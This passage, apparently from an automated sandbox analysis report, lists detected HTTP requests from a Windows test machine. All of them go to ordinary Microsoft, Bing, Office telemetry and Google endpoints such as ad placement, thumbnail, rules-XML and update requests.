LSrERPHI7LmZYX1p/H6UQvRSHVfSroPvAtwRUtRHQrwrclZaTnewqNo4wjuMXrmGes5A1HKHxUDUwVN5G8Bua4KtRVp3H0jIAhSGul+73wh8M+MwDpRlfVdgB&p=Cache-Control: no-cacheMS-CV: vwTWr6w750qPAX8q.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T162411Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=5071dc6fb2df436f929a16e9c488e18a&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605406&metered=false&nettype=ethernet&npid=sc-338388&oemName=umvjqd%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=umvjqd20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605406&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAaUGtBD9TQeY+/uze8RnPs3+L60iougrlxhJbMbvrXYtiqJAKBhknfCbdbGV/lVnA37BrJa2Isry7AiGaBv+lwAS/MaTCJNUUEZCAE3GI1ROLLGzXqEINBxCloTgQpiBF7AsI/IuPrbrI2sygzJ53N6s6og+FBXX/jxvEDnQxxieZTPsTPWX8VOoV3ISugvU/RR/ydVU4+GymUBIbngTUHXKtSUdFiDUEIu3x51rwfbBmV73DeD8InTUcbIuw3DYTwa46p7AfY6J5TRtjkfK/JVVRUM63PcxKThprG3pfVdfV5rDqUiclsfk/mjHfvavXIDrU1XDs7oG5KwrIYdxBSIQZgAAEK5lhgt/cESZ2hqutNNRiQiwAS0/NSCxJdOM4HW2J6Lh0JdJfOFE5z86SYc8YVhX2RZWim9GUlUXsIaFxXkuv9S3KQTSfR4FOPV4ytZ77S+buo69/vhufEMyA40Vkmmt0N9mOEZb9+B0ggBHcZFF21zmN7dQPKK5vmJe7n5ulZWUUc/ZmolEMmvf115QmLIHTWhCsw5lZTf8M5WpiJG7X0X9NSncpUKZaU6IsGjAy9z8vh3zeDJIaEBT5hNCfmT+UbuAEirmBzy6sB3hz3AzuyBy0645k0B7/1z+RsfxwZCa1d5G4VnIL5J4jmB+yE+1x0TAlqY2YMQ7noFvhFDSrIsev5QMHwsZdv2MQlM8ys/zHBay3lrPqhbagY+CGmCT050njdakDDLsodZ1GosLpwk+B+BE3owdCrnm4e5mJooyJ2vYVyPaP7B/eKFYyrjbX1qtJV+1kJc+MH3+GA2FpTn0eVoBuvoSxxiLSrERPHI7LmZYX1p/H6UQvRSHVfSroPvAtwRUtRHQrwrclZaTnewqNo4wjuMXrmGes5A1HKHxUDUwVN5G8Bua4KtRVp3H0jIAhSGul+73wh8M+MwDpRlfVdgB&p=Cache-Control: no-cacheMS-CV: vwTWr6w750qPAX8q.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239337201808_1NREAF5SJS6TG8GUU&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239395842701_1V0LAYL7FGU99EEPN&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239340418605_1YZ6O1QX1RJB3B5MZ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239395842702_1W3EQU76TTF3XSELQ&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239340418606_136U7G6Z7CWHAJN4L&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381742050_1SU74Q4K5S59B84Q9&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381742051_1MZLGS7MGWEW2J3U5&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=115137631&PG=PC000P0FR5.0000000IRU&REQASID=5E6FDA521C7D4A94AA3A5BD381088FCA&UNID=338389&ASID=6b9719f38d9d4a179ed76da11b3e2eef&&DS_EVTID=5E6FDA521C7D4A94AA3A5BD381088FCA&DEVOSVER=10.0.19045.2006&REQT=20241128T162408&TIME=20241128T162411Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T162424Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=2a4341865e224d1e90b570a9bef687e6&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605406&metered=false&nettype=ethernet&npid=sc-88000045&oemName=umvjqd%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=umvjqd20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605406&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAaUGtBD9TQeY+/uze8RnPs3+L60iougrlxhJbMbvrXYtiqJAKBhknfCbdbGV/lVnA37BrJa2Isry7AiGaBv+lwAS/MaTCJNUUEZCAE3GI1ROLLGzXqEINBxCloTgQpiBF7AsI/IuPrbrI2sygzJ53N6s6og+FBXX/jxvEDnQxxieZTPsTPWX8VOoV3ISugvU/RR/ydVU4+GymUBIbngTUHXKtSUdFiDUEIu3x51rwfbBmV73DeD8InTUcbIuw3DYTwa46p7AfY6J5TRtjkfK/JVVRUM63PcxKThprG3pfVdfV5rDqUiclsfk/mjHfvavXIDrU1XDs7oG5KwrIYdxBSIQZgAAEK5lhgt/cESZ2hqutNNRiQiwAS0/NSCxJdOM4HW2J6Lh0JdJfOFE5z86SYc8YVhX2RZWim9GUlUXsIaFxXkuv9S3KQTSfR4FOPV4ytZ77S+buo69/vhufEMyA40Vkmmt0N9mOEZb9+B0ggBHcZFF21zmN7dQPKK5vmJe7n5ulZWUUc/ZmolEMmvf115QmLIHTWhCsw5lZTf8M5WpiJG7X0X9NSncpUKZaU6IsGjAy9z8vh3zeDJIaEBT5hNCfmT+UbuAEirmBzy6sB3hz3AzuyBy0645k0B7/1z+RsfxwZCa1d5G4VnIL5J4jmB+yE+1x0TAlqY2YMQ7noFvhFDSrIsev5QMHwsZdv2MQlM8ys/zHBay3lrPqhbagY+CGmCT050njdakDDLsodZ1GosLpwk+B+BE3owdCrnm4e5mJooyJ2vYVyPaP7B/eKFYyrjbX1qtJV+1kJc+MH3+GA2FpTn0eVoBuvoSxxiLSrERPHI7LmZYX1p/H6UQvRSHVfSroPvAtwRUtRHQrwrclZaTnewqNo4wjuMXrmGes5A1HKHxUDUwVN5G8Bua4KtRVp3H0jIAhSGul+73wh8M+MwDpRlfVdgB&p=Cache-Control: no-cacheMS-CV: vwTWr6w750qPAX8q.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=115137631&PG=PC000P0FR5.0000000IRU&REQASID=5E6FDA521C7D4A94AA3A5BD381088FCA&UNID=338389&ASID=6b9719f38d9d4a179ed76da11b3e2eef&&DS_EVTID=5E6FDA521C7D4A94AA3A5BD381088FCA&DEVOSVER=10.0.19045.2006&REQT=20241128T162408&TIME=20241128T162411Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=luUdgOWlKypfoA7&MD=6dnX9G7X HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8aEfdRlI2x0ohFQi3uztY3DVUCUxuMmdQk9f7Z6MnSfdQQwOL-imjb7BNojP1VypjR51G32IzTV3Wn6Uqz0OHQUX41f5A1eaiPkKJ16UofqneoVj-yr2F1UpIZi-SOhu5qtcxdCjCkr4y9tjvOgAHjsCUnE0KVSMdkOkKpWCxYZmivez6%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmZWRnZSUyZndpbmRvd3MtZWRnZSUzZmZvY3VzJTNkY29udmVuaW5jZSUyNnNvdXJjZSUzZGlwJTI2ZXMlM2QwJTI2Zm9ybSUzZE01MDBFNyUyNk9DSUQlM2RNNTAwRTc%26rlid%3D163990842d431198be7df7ccb46cb018&TIME=20241128T162424Z&CID=531538185&EID=531538185&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
